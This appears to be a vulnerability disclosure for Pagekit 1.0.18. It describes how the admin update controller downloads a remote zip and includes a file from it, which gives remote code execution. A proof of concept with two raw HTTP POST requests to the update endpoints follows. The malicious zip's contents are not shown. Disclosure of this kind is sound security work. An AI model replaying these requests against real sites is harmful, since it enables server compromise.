There is a logical flaw that leads to obtaining shell access.

[iQingshan]

Problem

There is a logical flaw that leads to obtaining shell access.

Technical Details

• Pagekit version: 1.0.18
• Webserver: nginx
• Database: mysql
• PHP Version: 7.4

Vulnerability Path:
app/installer/src/Controller/UpdateController.php
Lines 32-72: downloadAction and updateAction functions
The downloadAction function retrieves a file from a remote location to the local system.
The updateAction function reads the downloaded file.
Within it, the SelfUpdater function is called at app/installer/src/SelfUpdater.php.
It includes the app/installer/requirements.php file from the remotely fetched file.
This can lead to remote code execution.
Based on this, constructing a zip file as follows:
pagekit.zip

The data package is as follows

POST /index.php/admin/system/update/download HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Length: 58
Content-Type: application/x-www-form-urlencoded
Cookie: Administrator's Cookie
Host: localhost
Referer: http://localhost/index.php/admin/system/update/download
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36

url=constructed_zip_file&_csrf=4eb8d50f82ebae5b1fa16d5177d99ea7d740a8b2

POST /index.php/admin/system/update/update HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Connection: keep-alive
Content-Length: 46
Content-Type: application/x-www-form-urlencoded
Cookie: Administrator's Cookie
Host: localhost
Referer: http://localhost /index.php/admin/system/update/update
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36

_csrf=4eb8d50f82ebae5b1fa16d5177d99ea7d740a8b2